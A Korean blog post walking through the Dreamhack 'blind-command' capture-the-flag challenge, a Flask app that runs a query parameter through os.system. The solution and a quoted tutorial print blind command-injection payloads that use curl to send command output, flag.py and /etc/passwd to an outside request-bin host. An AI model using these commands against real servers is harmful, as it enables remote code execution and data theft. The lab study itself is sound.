Web Hacking

[WebHacking] - Dreamhack blind-command 문제 풀이

Papya_j 2024. 8. 19. 11:03

[문제 분석]

접속하면 이게 다다. 코드를 보겠다.

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

코드 또한 간단하다.

문제에서 Read the flag file XD가 설명이 끝이고 코드 또한 짧다.

 

코드를 분석해보자.

@app.route('/' , methods=['GET'])

에서 '/' 시작하는 부분을 GET 으로 받고 있다.

이후 cmd를 ''로 초기화 하며 cmd parameter를 설정한 모습이 보인다.

cmd가 비어있으면 return ?cmd=[cmd]를 하여 친절하게 나타난다.

그 밑에는 GET method면 아무것도 출력하지 않는 코드임을 알 수 있다.

else 부분이 핵심이다.

os.system(cmd)를 통해 전달받은 parameter를 바로 수행하는 작업의 굉장한 취약점을 발견할 수 있다. 이를 통해 문제를 해결할 수 있어 보인다.

 

+ GET methods만 받는데 GET이면 아무것도 출력이 안되게 설정해놨다. GET을 우회하는 방법이 필요해보인다.


[Write Up]

1. GET을 우회할 수 있는 방법을 알아야 함

 

가능한 Method를 알아보는 방법으로 Burp Suite 툴을 사용했다.

Proxy -> Proxy settings 에 들어간 후에 위 사진처럼 원래는 체크가 안되어있던 것들을 모두 체크한 후 창을 닫아준다.

 

Proxy에서 Intercept 부분에 들어간 후 intercept on 을 한 이후에 브라우저를 열고 해당 문제 사이트를 복사한다.

이 후 HTTP history 부분에 들어가서 살펴보면 RAW 데이터로 봤을 떄 GET Method를 사용하는 것을 알 수 있다.

 

Proxy 창에서 우측클릭 -> send to Repeater를 한 후에 Repeater에서 들어가서 보면 임의로 RAW 데이터를 수정한 후 Send를 할 수 있는 것을 확인할 수 있다.

 

여기서 HTTP의 Method에 대한 지식이 있어야 한다.

위와 같은 Method들이 존재한다.

 

현재 GET으로는 안되는 것을 확인했다. 여기서 OPTIONS을 사용해서 어떤 것이 가능한지 확인해보겠다.

OPTIONS /?cmd=ls 와 같은 단순한 명령어를 사용해서 send를 해보았다.

우측 Response에서 Allow 된 Method 방식이 Options, Head, Get 인 것을 확인할 수 있다. 여기서 HEAD가 GET을 대체할 수 있음을 알 수 있으니 GET 대신 HEAD를 쓰면 될 것 같다.

 

2. FLAG 어떻게 출력?

이제 flag를 얻어야 했다. HEAD를 사용하면 되는 것을 알았으니 이 웹사이트에서의 파일이 어떻게 구성되어 있는지 알아야 했다. 다만 위 사진처럼 ls를 그냥 보내면 결과 확인이 가능한 것은 아니다.

내부에서 확인이 불가능함으로 실행결과를 외부로 보내는 Network Outbound를 사용해보겠다.

 

https://tools.dreamhack.games/

 

dreamhack-tools

 

tools.dreamhack.games

외부 툴 사용은 위 사이트를 이용하면 용이하다.

 

사이트 접속 후 Request Bin에 들어가면 임시의 url이 나온다. 이것을 사용하면 된다.

 

그럼 이제 이 url을 가지고 어떻게 외부로 보내냐?

-> culr 명령어 사용

* culr 참고 : https://inpa.tistory.com/entry/LINUX-%F0%9F%93%9A-CURL-%EB%AA%85%EB%A0%B9%EC%96%B4-%EC%82%AC%EC%9A%A9%EB%B2%95-%EB%8B%A4%EC%96%91%ED%95%9C-%EC%98%88%EC%A0%9C%EB%A1%9C-%EC%A0%95%EB%A6%AC

 

curl (부여받은 임시 url in dreamhack tools) -d $(명령어)

형태로 사용하면 가능하다. 직접 예시를 보여주겠다.

 

HEAD /?cmd=curl+https://fhlqmoa.request.dreamhack.games+-d+"$(ls)"

- HEAD를 사용

- /?cmd= 를 통해 명령어를 전달

- curl 명령어 사용

- +는 spacebar를 의미한다. (cmd에서의 스페이스바를 의미. 실제로 띄어쓰기로 코드 작성시 끝까지 인식이 안됨)

- 중간에 부여받은 링크 사용 -> 외부로 결과 도출

- -d 데이터를 POST요청으로 전송

- "$(ls)" cmd에서 실제 실행할 명령어 전송

 

Burp Suite에서 위 코드를 입력한 후 Send 버튼을 누르면 Response가 적절히 (오른쪽과 같이) 뜬 다. 그러면 이 후 Dreamhack tools 사이트로 돌아와 기다리면 하나의 반응이 생긴 것을 볼 수 있다.

 

보다 싶이 내 Request Bin에 적절히 반응 하나가 생긴것을 알 수 있는데, ls 명령어로 살펴본 결과 flag.py 라는 곳에 flag가 들어있음을 알 수 있다.

 

✨정답

HEAD /?cmd=curl+https://fhlqmoa.request.dreamhack.games+-d+"$(cat+flag.py)"

위 방법과 똑같이 Burp Suite에 입력후 Send를 누르면 Dreamhack tools라는 외부 사이트에서 결과를 확인할 수 있다. 답은 아래와 같다.

 

 

 

* curl 추가 설명 (Dreamhack 내용)

client URL의 줄임말로 서버에 데이터를 보내거나 서버로부터 데이터를 받는 데이터 전송 명령어입니다. curl [옵션] URL 형식으로 사용할 수 있으며, HTTP, HTTPS, FTP 등 다양한 프로토콜을 지원합니다. 다음은 ‘http://www.google.com ’ 웹 서버의 콘텐츠를 반환하여 출력하는 모습입니다.

 

curl 명령어의 주요 옵션은 다음과 같습니다. 아래 옵션들을 지금 모두 이해할 필요는 없으며, 다양한 방식으로 사용할 수 있다는 점을 기억하시면 됩니다.

  • -o file : 전송 받은 데이터를 파일에 저장합니다.
  • -i : 결과 값에 HTTP 응답 헤더를 포함합니다.
  • -X "method" : HTTP 요청 메소드를 지정합니다.
  • -d "key=value" : HTTP POST 메소드로 데이터를 전송합니다.

curl을 이용한 명령어 실행 결과 전송

curl 은 워게임 문제를 풀 때도 유용하게 사용됩니다. 예를 들어 풀이자가 명령어 실행 결과를 볼 수 없는 경우, 결과를 curl 명령어에 포함하여 풀이자의 웹 서버로 전송하면 확인이 가능합니다. 다음은 서버 내 /etc/passwd 파일을 https://hmqtzgx.request.dreamhack.games에 POST 데이터로 전송하는 예시입니다.

curl "https://hmqtzgx.request.dreamhack.games" -d "`cat /etc/passwd`"​

 

 

참고

https://studyforall.tistory.com/22

https://velog.io/@buaii/blind-command